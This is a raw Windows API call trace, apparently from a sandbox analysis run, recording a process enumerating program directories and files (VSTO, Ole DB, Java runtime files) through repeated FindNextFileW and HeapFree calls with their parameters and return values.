	[0070.911] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0070.911] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.911] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0070.911] FindClose (in: hFindFile=0x811c48 | out: hFindFile=0x811c48) returned 1
	[0070.911] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.911] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0070.913] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.913] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0070.913] FindClose (in: hFindFile=0x811c48 | out: hFindFile=0x811c48) returned 1
	[0070.914] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.914] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0070.915] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.915] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0070.915] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.915] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0070.921] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0070.921] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0070.921] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.921] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0070.922] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.922] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0070.922] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0070.922] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0070.923] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0070.924] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.924] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0070.926] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.926] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0070.926] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0070.926] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0070.927] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0070.927] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0071.356] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.356] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0071.363] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.363] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0071.368] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.371] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0071.377] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.377] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0071.382] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0071.382] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0071.384] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0071.385] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0071.385] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0071.385] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0071.389] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0071.390] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.390] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d34e8c0, ftCreationTime.dwHighDateTime=0x1d5b7e5, ftLastAccessTime.dwLowDateTime=0x6254c590, ftLastAccessTime.dwHighDateTime=0x1d5aea4, ftLastWriteTime.dwLowDateTime=0x6254c590, ftLastWriteTime.dwHighDateTime=0x1d5aea4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jane_conscious.exe", cAlternateFileName="JANE_C~1.EXE")) returned 1
	[0071.390] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.390] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0071.390] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0071.390] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe6d03e32, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d03e32, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1
	[0071.391] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.391] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0071.393] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.393] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0071.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.394] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0071.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.394] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0071.395] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.395] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0071.395] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.395] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0071.395] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.395] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0071.397] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.397] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0071.399] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.399] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0071.400] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.400] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0071.402] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0071.402] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0071.403] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0071.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.403] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0071.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.403] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0071.405] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
